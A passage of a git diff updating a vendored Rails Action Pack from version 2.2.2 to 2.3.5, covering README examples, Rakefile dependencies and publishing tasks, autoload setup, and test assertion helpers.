-        render_component :controller => "greeter",  :action => "hello_world"
-      end
-    end
-  
-    class GreeterController < ActionController::Base
-      def hello_world
-        render_text "Hello World!"
-      end
-    end
-  
-    The same can be done in a view to do a partial rendering:
-  
-      Let's see a greeting:
-      <%= render_component :controller => "greeter", :action => "hello_world" %>
-
-  {Learn more}[link:classes/ActionController/Components.html]
-  
-
 * Powerful debugging mechanism for local requests
 
     All exceptions raised on actions performed on the request of a local user
@@ -336,7 +297,7 @@ A short rundown of the major features:
     class WeblogController < ActionController::Base
       def create
         post = Post.create(params[:post])
-        redirect_to :action => "display", :id => post.id
+        redirect_to :action => "show", :id => post.id
       end
     end
 
@@ -362,7 +323,7 @@ methods:
       @posts = Post.find(:all)
     end
     
-    def display
+    def show
       @post = Post.find(params[:id])
     end
     
@@ -372,7 +333,7 @@ methods:
     
     def create
       @post = Post.create(params[:post])
-      redirect_to :action => "display", :id => @post.id
+      redirect_to :action => "show", :id => @post.id
     end
   end
 
@@ -385,48 +346,33 @@ request from the web-server (like to be Apache).
 
 And the templates look like this:
 
-  weblog/layout.erb:
+  weblog/layout.html.erb:
     <html><body>
     <%= yield %>
     </body></html>
 
-  weblog/index.erb:
+  weblog/index.html.erb:
     <% for post in @posts %>
-      <p><%= link_to(post.title, :action => "display", :id => post.id %></p>
+      <p><%= link_to(post.title, :action => "show", :id => post.id) %></p>
     <% end %>
 
-  weblog/display.erb:
+  weblog/show.html.erb:
     <p>
-      <b><%= post.title %></b><br/>
-      <b><%= post.content %></b>
+      <b><%= @post.title %></b><br/>
+      <b><%= @post.content %></b>
     </p>
 
-  weblog/new.erb:
+  weblog/new.html.erb:
     <%= form "post" %>
   
 This simple setup will list all the posts in the system on the index page,
 which is called by accessing /weblog/. It uses the form builder for the Active
 Record model to make the new screen, which in turn hands everything over to
 the create action (that's the default target for the form builder when given a
-new model). After creating the post, it'll redirect to the display page using
-an URL such as /weblog/display/5 (where 5 is the id of the post).
+new model). After creating the post, it'll redirect to the show page using
+an URL such as /weblog/5 (where 5 is the id of the post).
 
 
-== Examples
-
-Action Pack ships with three examples that all demonstrate an increasingly
-detailed view of the possibilities. First is blog_controller that is just a
-single file for the whole MVC (but still split into separate parts). Second is
-the debate_controller that uses separate template files and multiple screens.
-Third is the address_book_controller that uses the layout feature to separate
-template casing from content.
-
-Please note that you might need to change the "shebang" line to 
-#!/usr/local/env ruby, if your Ruby is not placed in /usr/local/bin/ruby
-
-Also note that these examples are all for demonstrating using Action Pack on
-its own. Not for when it's used inside of Rails.
-
 == Download
 
 The latest version of Action Pack can be found at
@@ -460,4 +406,4 @@ And as Jim from Rake says:
 
    Feel free to submit commits or feature requests.  If you send a patch,
    remember to update the corresponding unit tests.  If fact, I prefer
-   new feature to be submitted in the form of new unit tests.
\ No newline at end of file
+   new feature to be submitted in the form of new unit tests.
diff --git a/vendor/rails/actionpack/Rakefile b/vendor/rails/actionpack/Rakefile
index 7e6526c5..73f9efef 100644
--- a/vendor/rails/actionpack/Rakefile
+++ b/vendor/rails/actionpack/Rakefile
@@ -4,7 +4,6 @@ require 'rake/testtask'
 require 'rake/rdoctask'
 require 'rake/packagetask'
 require 'rake/gempackagetask'
-require 'rake/contrib/sshpublisher'
 require File.join(File.dirname(__FILE__), 'lib', 'action_pack', 'version')
 
 PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
@@ -30,7 +29,7 @@ Rake::TestTask.new(:test_action_pack) do |t|
 
   # make sure we include the tests in alphabetical order as on some systems
   # this will not happen automatically and the tests (as a whole) will error
-  t.test_files = Dir.glob( "test/[cft]*/**/*_test.rb" ).sort
+  t.test_files = Dir.glob( "test/[cftv]*/**/*_test.rb" ).sort
 
   t.verbose = true
   #t.warning = true
@@ -80,7 +79,8 @@ spec = Gem::Specification.new do |s|
   s.has_rdoc = true
   s.requirements << 'none'
 
-  s.add_dependency('activesupport', '= 2.2.2' + PKG_BUILD)
+  s.add_dependency('activesupport', '= 2.3.5' + PKG_BUILD)
+  s.add_dependency('rack', '~> 1.0.0')
 
   s.require_path = 'lib'
   s.autorequire = 'action_controller'
@@ -136,12 +136,14 @@ task :update_js => [ :update_scriptaculous ]
 
 desc "Publish the API documentation"
 task :pgem => [:package] do 
+  require 'rake/contrib/sshpublisher'
   Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
   `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
 end
 
 desc "Publish the API documentation"
 task :pdoc => [:rdoc] do 
+  require 'rake/contrib/sshpublisher'
   Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/ap", "doc").upload
 end
 
diff --git a/vendor/rails/actionpack/lib/action_controller.rb b/vendor/rails/actionpack/lib/action_controller.rb
index 2efd0dad..7072aad9 100644
--- a/vendor/rails/actionpack/lib/action_controller.rb
+++ b/vendor/rails/actionpack/lib/action_controller.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -31,49 +31,83 @@ rescue LoadError
   end
 end
 
-$:.unshift "#{File.dirname(__FILE__)}/action_controller/vendor/html-scanner"
+gem 'rack', '~> 1.0.1'
+require 'rack'
+require 'action_controller/cgi_ext'
 
-require 'action_controller/base'
-require 'action_controller/request'
-require 'action_controller/rescue'
-require 'action_controller/benchmarking'
-require 'action_controller/flash'
-require 'action_controller/filters'
-require 'action_controller/layout'
-require 'action_controller/mime_responds'
-require 'action_controller/helpers'
-require 'action_controller/cookies'
-require 'action_controller/cgi_process'
-require 'action_controller/caching'
-require 'action_controller/verification'
-require 'action_controller/streaming'
-require 'action_controller/session_management'
-require 'action_controller/http_authentication'
-require 'action_controller/components'
-require 'action_controller/rack_process'
-require 'action_controller/record_identifier'
-require 'action_controller/request_forgery_protection'
-require 'action_controller/headers'
-require 'action_controller/translation'
+module ActionController
+  # TODO: Review explicit to see if they will automatically be handled by
+  # the initilizer if they are really needed.
+  def self.load_all!
+    [Base, CGIHandler, CgiRequest, Request, Response, Http::Headers, UrlRewriter, UrlWriter]
+  end
+
+  autoload :Base, 'action_controller/base'
+  autoload :Benchmarking, 'action_controller/benchmarking'
+  autoload :Caching, 'action_controller/caching'
+  autoload :Cookies, 'action_controller/cookies'
+  autoload :Dispatcher, 'action_controller/dispatcher'
+  autoload :Failsafe, 'action_controller/failsafe'
+  autoload :Filters, 'action_controller/filters'
+  autoload :Flash, 'action_controller/flash'
+  autoload :Helpers, 'action_controller/helpers'
+  autoload :HttpAuthentication, 'action_controller/http_authentication'
+  autoload :Integration, 'action_controller/integration'
+  autoload :IntegrationTest, 'action_controller/integration'
+  autoload :Layout, 'action_controller/layout'
+  autoload :MiddlewareStack, 'action_controller/middleware_stack'
+  autoload :MimeResponds, 'action_controller/mime_responds'
+  autoload :ParamsParser, 'action_controller/params_parser'
+  autoload :PolymorphicRoutes, 'action_controller/polymorphic_routes'
+  autoload :RecordIdentifier, 'action_controller/record_identifier'
+  autoload :Reloader, 'action_controller/reloader'
+  autoload :Request, 'action_controller/request'
+  autoload :RequestForgeryProtection, 'action_controller/request_forgery_protection'
+  autoload :Rescue, 'action_controller/rescue'
+  autoload :Resources, 'action_controller/resources'
+  autoload :Response, 'action_controller/response'
+  autoload :RewindableInput, 'action_controller/rewindable_input'
+  autoload :Routing, 'action_controller/routing'
+  autoload :SessionManagement, 'action_controller/session_management'
+  autoload :StatusCodes, 'action_controller/status_codes'
+  autoload :Streaming, 'action_controller/streaming'
+  autoload :StringCoercion, 'action_controller/string_coercion'
+  autoload :TestCase, 'action_controller/test_case'
+  autoload :TestProcess, 'action_controller/test_process'
+  autoload :Translation, 'action_controller/translation'
+  autoload :UploadedFile, 'action_controller/uploaded_file'
+  autoload :UploadedStringIO, 'action_controller/uploaded_file'
+  autoload :UploadedTempfile, 'action_controller/uploaded_file'
+  autoload :UrlRewriter, 'action_controller/url_rewriter'
+  autoload :UrlWriter, 'action_controller/url_rewriter'
+  autoload :Verification, 'action_controller/verification'
+
+  module Assertions
+    autoload :DomAssertions, 'action_controller/assertions/dom_assertions'
+    autoload :ModelAssertions, 'action_controller/assertions/model_assertions'
+    autoload :ResponseAssertions, 'action_controller/assertions/response_assertions'
+    autoload :RoutingAssertions, 'action_controller/assertions/routing_assertions'
+    autoload :SelectorAssertions, 'action_controller/assertions/selector_assertions'
+    autoload :TagAssertions, 'action_controller/assertions/tag_assertions'
+  end
+
+  module Http
+    autoload :Headers, 'action_controller/headers'
+  end
+
+  module Session
+    autoload :AbstractStore, 'action_controller/session/abstract_store'
+    autoload :CookieStore, 'action_controller/session/cookie_store'
+    autoload :MemCacheStore, 'action_controller/session/mem_cache_store'
+  end
+
+  # DEPRECATE: Remove CGI support
+  autoload :CgiRequest, 'action_controller/cgi_process'
+  autoload :CGIHandler, 'action_controller/cgi_process'
+end
+
+autoload :Mime, 'action_controller/mime_type'
+
+autoload :HTML, 'action_controller/vendor/html-scanner'
 
 require 'action_view'
-
-ActionController::Base.class_eval do
-  include ActionController::Flash
-  include ActionController::Filters
-  include ActionController::Layout
-  include ActionController::Benchmarking
-  include ActionController::Rescue
-  include ActionController::MimeResponds
-  include ActionController::Helpers
-  include ActionController::Cookies
-  include ActionController::Caching
-  include ActionController::Verification
-  include ActionController::Streaming
-  include ActionController::SessionManagement
-  include ActionController::HttpAuthentication::Basic::ControllerMethods
-  include ActionController::Components
-  include ActionController::RecordIdentifier
-  include ActionController::RequestForgeryProtection
-  include ActionController::Translation
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions.rb
deleted file mode 100644
index 5b9a2b71..00000000
--- a/vendor/rails/actionpack/lib/action_controller/assertions.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-require 'test/unit/assertions'
-
-module ActionController #:nodoc:
-  # In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions
-  # can be used against. These collections are:
-  #
-  # * assigns: Instance variables assigned in the action that are available for the view.
-  # * session: Objects being saved in the session.
-  # * flash: The flash objects currently in the session.
-  # * cookies: Cookies being sent to the user on this request.
-  #
-  # These collections can be used just like any other hash:
-  #
-  #   assert_not_nil assigns(:person) # makes sure that a @person instance variable was set
-  #   assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
-  #   assert flash.empty? # makes sure that there's nothing in the flash
-  #
-  # For historic reasons, the assigns hash uses string-based keys. So assigns[:person] won't work, but assigns["person"] will. To
-  # appease our yearning for symbols, though, an alternative accessor has been devised using a method call instead of index referencing.
-  # So assigns(:person) will work just like assigns["person"], but again, assigns[:person] will not work.
-  #
-  # On top of the collections, you have the complete url that a given action redirected to available in redirect_to_url.
-  #
-  # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another
-  # action call which can then be asserted against.
-  #
-  # == Manipulating the request collections
-  #
-  # The collections described above link to the response, so you can test if what the actions were expected to do happened. But
-  # sometimes you also want to manipulate these collections in the incoming request. This is really only relevant for sessions
-  # and cookies, though. For sessions, you just do:
-  #
-  #   @request.session[:key] = "value"
-  #
-  # For cookies, you need to manually create the cookie, like this:
-  #
-  #   @request.cookies["key"] = CGI::Cookie.new("key", "value")
-  #
-  # == Testing named routes
-  #
-  # If you're using named routes, they can be easily tested using the original named routes' methods straight in the test case.
-  # Example:
-  #
-  #  assert_redirected_to page_url(:title => 'foo')
-  module Assertions
-    def self.included(klass)
-      %w(response selector tag dom routing model).each do |kind|
-        require "action_controller/assertions/#{kind}_assertions"
-        klass.module_eval { include const_get("#{kind.camelize}Assertions") }
-      end
-    end
-
-    def clean_backtrace(&block)
-      yield
-    rescue Test::Unit::AssertionFailedError => error
-      framework_path = Regexp.new(File.expand_path("#{File.dirname(__FILE__)}/assertions"))
-      error.backtrace.reject! { |line| File.expand_path(line) =~ framework_path }
-      raise
-    end
-  end
-end
-
-module Test #:nodoc:
-  module Unit #:nodoc:
-    class TestCase #:nodoc:
-      include ActionController::Assertions
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/dom_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/dom_assertions.rb
index 5ffe5f18..8dd3f637 100644
--- a/vendor/rails/actionpack/lib/action_controller/assertions/dom_assertions.rb
+++ b/vendor/rails/actionpack/lib/action_controller/assertions/dom_assertions.rb
@@ -1,6 +1,18 @@
 module ActionController
   module Assertions
     module DomAssertions
+      def self.strip_whitespace!(nodes)
+        nodes.reject! do |node|
+          if node.is_a?(HTML::Text)
+            node.content.strip!
+            node.content.empty?
+          else
+            strip_whitespace! node.children
+            false
+          end
+        end
+      end
+      
       # Test two HTML strings for equivalency (e.g., identical up to reordering of attributes)
       #
       # ==== Examples
@@ -12,13 +24,15 @@ module ActionController
         clean_backtrace do
           expected_dom = HTML::Document.new(expected).root
           actual_dom   = HTML::Document.new(actual).root
-          full_message = build_message(message, "<?> expected to be == to\n<?>.", expected_dom.to_s, actual_dom.to_s)
+          DomAssertions.strip_whitespace!(expected_dom.children)
+          DomAssertions.strip_whitespace!(actual_dom.children)
 
+          full_message = build_message(message, "<?> expected but was\n<?>.", expected_dom.to_s, actual_dom.to_s)
           assert_block(full_message) { expected_dom == actual_dom }
         end
       end
       
-      # The negated form of +assert_dom_equivalent+.
+      # The negated form of +assert_dom_equal+.
       #
       # ==== Examples
       #
@@ -29,8 +43,10 @@ module ActionController
         clean_backtrace do
           expected_dom = HTML::Document.new(expected).root
           actual_dom   = HTML::Document.new(actual).root
-          full_message = build_message(message, "<?> expected to be != to\n<?>.", expected_dom.to_s, actual_dom.to_s)
+          DomAssertions.strip_whitespace!(expected_dom.children)
+          DomAssertions.strip_whitespace!(actual_dom.children)
 
+          full_message = build_message(message, "<?> expected to be != to\n<?>.", expected_dom.to_s, actual_dom.to_s)
           assert_block(full_message) { expected_dom != actual_dom }
         end
       end
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/model_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/model_assertions.rb
index d25214bb..3a7b39b1 100644
--- a/vendor/rails/actionpack/lib/action_controller/assertions/model_assertions.rb
+++ b/vendor/rails/actionpack/lib/action_controller/assertions/model_assertions.rb
@@ -11,6 +11,7 @@ module ActionController
       #   assert_valid(model)
       #
       def assert_valid(record)
+        ::ActiveSupport::Deprecation.warn("assert_valid is deprecated. Use assert record.valid? instead", caller)
         clean_backtrace do
           assert record.valid?, record.errors.full_messages.join("\n")
         end
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb
index e2e8bbdc..931a0319 100644
--- a/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb
+++ b/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb
@@ -1,6 +1,3 @@
-require 'rexml/document'
-require 'html/document'
-
 module ActionController
   module Assertions
     # A small suite of assertions that test responses from Rails applications.
@@ -19,7 +16,7 @@ module ActionController
       # ==== Examples
       #
       #   # assert that the response was a redirection
-      #   assert_response :redirect 
+      #   assert_response :redirect
       #
       #   # assert that the response code was status code 401 (unauthorized)
       #   assert_response 401
@@ -44,7 +41,7 @@ module ActionController
         end
       end
 
-      # Assert that the redirection options passed in match those of the redirect called in the latest action. 
+      # Assert that the redirection options passed in match those of the redirect called in the latest action.
       # This match can be partial, such that assert_redirected_to(:controller => "weblog") will also
       # match the redirection of redirect_to(:controller => "weblog", :action => "show") and so on.
       #
@@ -63,12 +60,17 @@ module ActionController
         clean_backtrace do
           assert_response(:redirect, message)
           return true if options == @response.redirected_to
-          
+
           # Support partial arguments for hash redirections
           if options.is_a?(Hash) && @response.redirected_to.is_a?(Hash)
-            return true if options.all? {|(key, value)| @response.redirected_to[key] == value}
+            if options.all? {|(key, value)| @response.redirected_to[key] == value}
+              callstack = caller.dup
+              callstack.slice!(0, 2)
+              ::ActiveSupport::Deprecation.warn("Using assert_redirected_to with partial hash arguments is deprecated. Specify the full set arguments instead", callstack)
+              return true
+            end
           end
-          
+
           redirected_to_after_normalisation = normalize_argument_to_redirection(@response.redirected_to)
           options_after_normalisation       = normalize_argument_to_redirection(options)
 
@@ -78,29 +80,64 @@ module ActionController
         end
       end
 
-      # Asserts that the request was rendered with the appropriate template file.
+      # Asserts that the request was rendered with the appropriate template file or partials
       #
       # ==== Examples
       #
       #   # assert that the "new" view template was rendered
       #   assert_template "new"
       #
-      def assert_template(expected = nil, message=nil)
+      #   # assert that the "new" view template was rendered with Symbol
+      #   assert_template :new
+      #
+      #   # assert that the "_customer" partial was rendered twice
+      #   assert_template :partial => '_customer', :count => 2
+      #
+      #   # assert that no partials were rendered
+      #   assert_template :partial => false
+      #
+      def assert_template(options = {}, message = nil)
         clean_backtrace do
-          rendered = @response.rendered_template.to_s
-          msg = build_message(message, "expecting <?> but rendering with <?>", expected, rendered)
-          assert_block(msg) do
-            if expected.nil?
-              @response.rendered_template.blank?
-            else
-              rendered.to_s.match(expected)
+          case options
+           when NilClass, String, Symbol
+            rendered = @response.rendered[:template].to_s
+            msg = build_message(message,
+                    "expecting <?> but rendering with <?>",
+                    options, rendered)
+            assert_block(msg) do
+              if options.nil?
+                @response.rendered[:template].blank?
+              else
+                rendered.to_s.match(options.to_s)
+              end
             end
+          when Hash
+            if expected_partial = options[:partial]
+              partials = @response.rendered[:partials]
+              if expected_count = options[:count]
+                found = partials.detect { |p, _| p.to_s.match(expected_partial) }
+                actual_count = found.nil? ? 0 : found.second
+                msg = build_message(message,
+                        "expecting ? to be rendered ? time(s) but rendered ? time(s)",
+                         expected_partial, expected_count, actual_count)
+                assert(actual_count == expected_count.to_i, msg)
+              else
+                msg = build_message(message,
+                        "expecting partial <?> but action rendered <?>",
+                        options[:partial], partials.keys)
+                assert(partials.keys.any? { |p| p.to_s.match(expected_partial) }, msg)
+              end
+            else
+              assert @response.rendered[:partials].empty?,
+                "Expected no partials to be rendered"
+            end
+          else
+            raise ArgumentError  
           end
         end
       end
 
       private
-
         # Proxy to to_param if the object will respond to it.
         def parameterize(value)
           value.respond_to?(:to_param) ? value.to_param : value
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/routing_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/routing_assertions.rb
index 8a837c59..5101751c 100644
--- a/vendor/rails/actionpack/lib/action_controller/assertions/routing_assertions.rb
+++ b/vendor/rails/actionpack/lib/action_controller/assertions/routing_assertions.rb
@@ -134,7 +134,7 @@ module ActionController
           path = "/#{path}" unless path.first == '/'
 
           # Assume given controller
-          request = ActionController::TestRequest.new({}, {}, nil)
+          request = ActionController::TestRequest.new
           request.env["REQUEST_METHOD"] = request_method.to_s.upcase if request_method
           request.path   = path
 
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/selector_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/selector_assertions.rb
index bcbb570e..280839db 100644
--- a/vendor/rails/actionpack/lib/action_controller/assertions/selector_assertions.rb
+++ b/vendor/rails/actionpack/lib/action_controller/assertions/selector_assertions.rb
@@ -3,9 +3,6 @@
 # Under MIT and/or CC By license.
 #++
 
-require 'rexml/document'
-require 'html/document'
-
 module ActionController
   module Assertions
     unless const_defined?(:NO_STRIP)
@@ -19,7 +16,7 @@ module ActionController
     #
     # Use +css_select+ to select elements without making an assertions, either
     # from the response HTML or elements selected by the enclosing assertion.
-    # 
+    #
     # In addition to HTML responses, you can make the following assertions:
     # * +assert_select_rjs+ - Assertions on HTML content of RJS update and insertion operations.
     # * +assert_select_encoded+ - Assertions on HTML encoded inside XML, for example for dealing with feed item descriptions.
@@ -27,6 +24,12 @@ module ActionController
     #
     # Also see HTML::Selector to learn how to use selectors.
     module SelectorAssertions
+
+      def initialize(*args)
+        super
+        @selected = nil
+      end
+
       # :call-seq:
       #   css_select(selector) => array
       #   css_select(element, selector) => array
@@ -56,8 +59,8 @@ module ActionController
       #   end
       #
       #   # Selects all list items in unordered lists
-      #   items = css_select("ul>li") 
-      #      
+      #   items = css_select("ul>li")
+      #
       #   # Selects all form tags and then all inputs inside the form
       #   forms = css_select("form")
       #   forms.each do |form|
@@ -112,20 +115,27 @@ module ActionController
       # starting from (and including) that element and all its children in
       # depth-first order.
       #
-      # If no element if specified, calling +assert_select+ will select from the
-      # response HTML. Calling #assert_select inside an +assert_select+ block will
-      # run the assertion for each element selected by the enclosing assertion.
+      # If no element if specified, calling +assert_select+ selects from the
+      # response HTML unless +assert_select+ is called from within an +assert_select+ block.
+      #
+      # When called with a block +assert_select+ passes an array of selected elements
+      # to the block. Calling +assert_select+ from the block, with no element specified,
+      # runs the assertion on the complete set of elements selected by the enclosing assertion.
+      # Alternatively the array may be iterated through so that +assert_select+ can be called
+      # separately for each element.
+      #
       #
       # ==== Example
-      #   assert_select "ol>li" do |elements|
+      # If the response contains two ordered lists, each with four list elements then:
+      #   assert_select "ol" do |elements|
       #     elements.each do |element|
-      #       assert_select element, "li"
+      #       assert_select element, "li", 4
       #     end
       #   end
       #
-      # Or for short:
-      #   assert_select "ol>li" do
-      #     assert_select "li"
+      # will pass, as will:
+      #   assert_select "ol" do
+      #     assert_select "li", 8
       #   end
       #
       # The selector may be a CSS selector expression (String), an expression
@@ -208,7 +218,7 @@ module ActionController
           # Otherwise just operate on the response document.
           root = response_from_page_or_rjs
         end
-        
+
         # First or second argument is the selector: string and we pass
         # all remaining arguments. Array and we pass the argument. Also
         # accepts selector itself.
@@ -221,7 +231,7 @@ module ActionController
             selector = arg
           else raise ArgumentError, "Expecting a selector as the first argument"
         end
-        
+
         # Next argument is used for equality tests.
         equals = {}
         case arg = args.shift
@@ -311,10 +321,10 @@ module ActionController
         # Returns all matches elements.
         matches
       end
-      
+
       def count_description(min, max) #:nodoc:
         pluralize = lambda {|word, quantity| word << (quantity == 1 ? '' : 's')}
-        
+
         if min && max && (max != min)
           "between #{min} and #{max} elements"
         elsif min && !(min == 1 && max == 1)
@@ -323,7 +333,7 @@ module ActionController
           "at most #{max} #{pluralize['element', max]}"
         end
       end
-      
+
       # :call-seq:
       #   assert_select_rjs(id?) { |elements| ... }
       #   assert_select_rjs(statement, id?) { |elements| ... }
@@ -340,7 +350,7 @@ module ActionController
       # that update or insert an element with that identifier.
       #
       # Use the first argument to narrow down assertions to only statements
-      # of that type. Possible values are <tt>:replace</tt>, <tt>:replace_html</tt>, 
+      # of that type. Possible values are <tt>:replace</tt>, <tt>:replace_html</tt>,
       # <tt>:show</tt>, <tt>:hide</tt>, <tt>:toggle</tt>, <tt>:remove</tt> and
       # <tt>:insert_html</tt>.
       #
@@ -405,6 +415,7 @@ module ActionController
         if rjs_type
           if rjs_type == :insert
             position  = args.shift
+            id = args.shift
             insertion = "insert_#{position}".to_sym
             raise ArgumentError, "Unknown RJS insertion type #{position}" unless RJS_STATEMENTS[insertion]
             statement = "(#{RJS_STATEMENTS[insertion]})"
@@ -483,7 +494,7 @@ module ActionController
       #       end
       #     end
       #   end
-      #   
+      #
       #
       #   # Selects all paragraph tags from within the description of an RSS feed
       #   assert_select_feed :rss, 2.0 do
@@ -590,7 +601,7 @@ module ActionController
         def response_from_page_or_rjs()
           content_type = @response.content_type
 
-          if content_type && content_type =~ /text\/javascript/
+          if content_type && Mime::JS =~ content_type
             body = @response.body.dup
             root = HTML::Node.new(nil)
 
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/tag_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/tag_assertions.rb
index 90ba3668..80249e0e 100644
--- a/vendor/rails/actionpack/lib/action_controller/assertions/tag_assertions.rb
+++ b/vendor/rails/actionpack/lib/action_controller/assertions/tag_assertions.rb
@@ -1,6 +1,3 @@
-require 'rexml/document'
-require 'html/document'
-
 module ActionController
   module Assertions
     # Pair of assertions to testing elements in the HTML output of the response.
@@ -127,4 +124,4 @@ module ActionController
       end
     end
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/base.rb b/vendor/rails/actionpack/lib/action_controller/base.rb
index f35c42f9..d66e6662 100644
--- a/vendor/rails/actionpack/lib/action_controller/base.rb
+++ b/vendor/rails/actionpack/lib/action_controller/base.rb
@@ -1,12 +1,3 @@
-require 'action_controller/mime_type'
-require 'action_controller/request'
-require 'action_controller/response'
-require 'action_controller/routing'
-require 'action_controller/resources'
-require 'action_controller/url_rewriter'
-require 'action_controller/status_codes'
-require 'action_view'
-require 'drb'
 require 'set'
 
 module ActionController #:nodoc:
@@ -31,7 +22,7 @@ module ActionController #:nodoc:
     attr_reader :allowed_methods
 
     def initialize(*allowed_methods)
-      super("Only #{allowed_methods.to_sentence} requests are allowed.")
+      super("Only #{allowed_methods.to_sentence(:locale => :en)} requests are allowed.")
       @allowed_methods = allowed_methods
     end
 
@@ -173,8 +164,8 @@ module ActionController #:nodoc:
   #
   # Other options for session storage are:
   #
-  # * ActiveRecordStore - Sessions are stored in your database, which works better than PStore with multiple app servers and,
-  #   unlike CookieStore, hides your session contents from the user. To use ActiveRecordStore, set
+  # * ActiveRecord::SessionStore - Sessions are stored in your database, which works better than PStore with multiple app servers and,
+  #   unlike CookieStore, hides your session contents from the user. To use ActiveRecord::SessionStore, set
   #
   #     config.action_controller.session_store = :active_record_store
   #
@@ -263,7 +254,7 @@ module ActionController #:nodoc:
     cattr_reader :protected_instance_variables
     # Controller specific instance variables which will not be accessible inside views.
     @@protected_instance_variables = %w(@assigns @performed_redirect @performed_render @variables_added @request_origin @url @parent_controller
-                                        @action_name @before_filter_chain_aborted @action_cache_path @_session @_cookies @_headers @_params
+                                        @action_name @before_filter_chain_aborted @action_cache_path @_session @_headers @_params
                                         @_flash @_response)
 
     # Prepends all the URL-generating helpers from AssetHelper. This makes it possible to easily move javascripts, stylesheets,
@@ -310,10 +301,7 @@ module ActionController #:nodoc:
     # A YAML parser is also available and can be turned on with:
     #
     #   ActionController::Base.param_parsers[Mime::YAML] = :yaml
-    @@param_parsers = { Mime::MULTIPART_FORM   => :multipart_form,
-                        Mime::URL_ENCODED_FORM => :url_encoded_form,
-                        Mime::XML              => :xml_simple,
-                        Mime::JSON             => :json }
+    @@param_parsers = {}
     cattr_accessor :param_parsers
 
     # Controls the default charset for all renders.
@@ -336,6 +324,10 @@ module ActionController #:nodoc:
     # sets it to <tt>:authenticity_token</tt> by default.
     cattr_accessor :request_forgery_protection_token
 
+    # Controls the IP Spoofing check when determining the remote IP.
+    @@ip_spoofing_check = true
+    cattr_accessor :ip_spoofing_check
+
     # Indicates whether or not optimise the generated named
     # route helper methods
     cattr_accessor :optimise_named_routes
@@ -387,6 +379,13 @@ module ActionController #:nodoc:
     attr_accessor :action_name
 
     class << self
+      def call(env)
+        # HACK: For global rescue to have access to the original request and response
+        request = env["action_controller.rescue.request"] ||= Request.new(env)
+        response = env["action_controller.rescue.response"] ||= Response.new
+        process(request, response)
+      end
+
       # Factory for the standard create, process loop where the controller is discarded after processing.
       def process(request, response) #:nodoc:
         new.process(request, response)
@@ -492,9 +491,18 @@ module ActionController #:nodoc:
               filtered_parameters[key] = '[FILTERED]'
             elsif value.is_a?(Hash)
               filtered_parameters[key] = filter_parameters(value)
+            elsif value.is_a?(Array)
+              filtered_parameters[key] = value.collect do |item|
+                case item
+                when Hash, Array
+                  filter_parameters(item)
+                else
+                  item
+                end
+              end
             elsif block_given?
               key = key.dup
-              value = value.dup if value
+              value = value.dup if value.duplicable?
               yield key, value
               filtered_parameters[key] = value
             else
@@ -507,7 +515,7 @@ module ActionController #:nodoc:
         protected :filter_parameters
       end
 
-      delegate :exempt_from_layout, :to => 'ActionView::Base'
+      delegate :exempt_from_layout, :to => 'ActionView::Template'
     end
 
     public
@@ -529,7 +537,7 @@ module ActionController #:nodoc:
       end
 
       def send_response
-        response.prepare! unless component_request?
+        response.prepare!
         response
       end
 
@@ -645,7 +653,7 @@ module ActionController #:nodoc:
       end
 
       def session_enabled?
-        request.session_options && request.session_options[:disabled] != false
+        ActiveSupport::Deprecation.warn("Sessions are now lazy loaded. So if you don't access them, consider them disabled.", caller)
       end
 
       self.view_paths = []
@@ -785,9 +793,36 @@ module ActionController #:nodoc:
       #   # placed in "app/views/layouts/special.r(html|xml)"
       #   render :text => "Hi there!", :layout => "special"
       #
-      # The <tt>:text</tt> option can also accept a Proc object, which can be used to manually control the page generation. This should
-      # generally be avoided, as it violates the separation between code and content, and because almost everything that can be
-      # done with this method can also be done more cleanly using one of the other rendering methods, most notably templates.
+      # === Streaming data and/or controlling the page generation
+      #
+      # The <tt>:text</tt> option can also accept a Proc object, which can be used to:
+      #
+      # 1. stream on-the-fly generated data to the browser. Note that you should
+      #    use the methods provided by ActionController::Steaming instead if you
+      #    want to stream a buffer or a file.
+      # 2. manually control the page generation. This should generally be avoided,
+      #    as it violates the separation between code and content, and because almost
+      #    everything that can be done with this method can also be done more cleanly
+      #    using one of the other rendering methods, most notably templates.
+      #
+      # Two arguments are passed to the proc, a <tt>response</tt> object and an
+      # <tt>output</tt> object. The response object is equivalent to the return
+      # value of the ActionController::Base#response method, and can be used to
+      # control various things in the HTTP response, such as setting the
+      # Content-Type header. The output object is an writable <tt>IO</tt>-like
+      # object, so one can call <tt>write</tt> and <tt>flush</tt> on it.
+      #
+      # The following example demonstrates how one can stream a large amount of
+      # on-the-fly generated data to the browser:
+      #
+      #   # Streams about 180 MB of generated data to the browser.
+      #   render :text => proc { |response, output|
+      #     10_000_000.times do |i|
+      #       output.write("This is line #{i}\n")
+      #     end
+      #   }
+      #
+      # Another example:
       #
       #   # Renders "Hello from code!"
